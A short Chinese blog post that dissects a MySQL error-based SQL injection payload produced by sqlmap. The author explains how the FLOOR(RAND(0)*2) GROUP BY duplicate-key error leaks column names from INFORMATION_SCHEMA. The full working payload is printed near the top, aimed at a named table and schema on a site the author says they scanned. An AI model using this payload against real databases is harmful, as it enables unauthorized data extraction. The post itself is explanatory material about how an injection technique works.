关于mysql的error-based injection payload
今天用sqlmap扫一个网站,想得到一个表的所有列名,注意到sqlmap用到的一个error-based payload的:
1 AND (SELECT 3174 FROM(SELECT COUNT(*),CONCAT(0x71666f7771,(SELECT MID((IFNULL(CAST(column_name AS CHAR),0x20)),1,50) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x73797374656d AND table_schema=0x68646d303334303337335f6462 LIMIT 0,1),0x7165767371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
sqlmap通过这句话最终得到了一个叫“system”的表的一个叫“id”的列的列名(也就是“id”:)
好奇这个sql语句是怎么实现这个功能的。
第一眼看到这个sql语句真心是一头雾水,在vim里面展开,并在目标机器上跑了一下,发现会报一个
错误:Duplicate entry 'qfowqidqevsq1' for key 'group_key' (1062)
这个错误的entry就包含着要得到的列名“id”,原来这就是传说中error-based的意思,就是通过让目标机器的mysql server报错,来获取对应的信息。
通过分析,造成这个错误的原因主要在于那个concat()最后的floor(rand(0)*2),这个东西每次随即产生的值不同会导致group by的key不唯一,所以就报错了。真心是妙招。
随便google了一下,找到这么一个网页,有一些专门相关的介绍
http://zentrixplus.net/blog/sql-injection-error-based-double-query/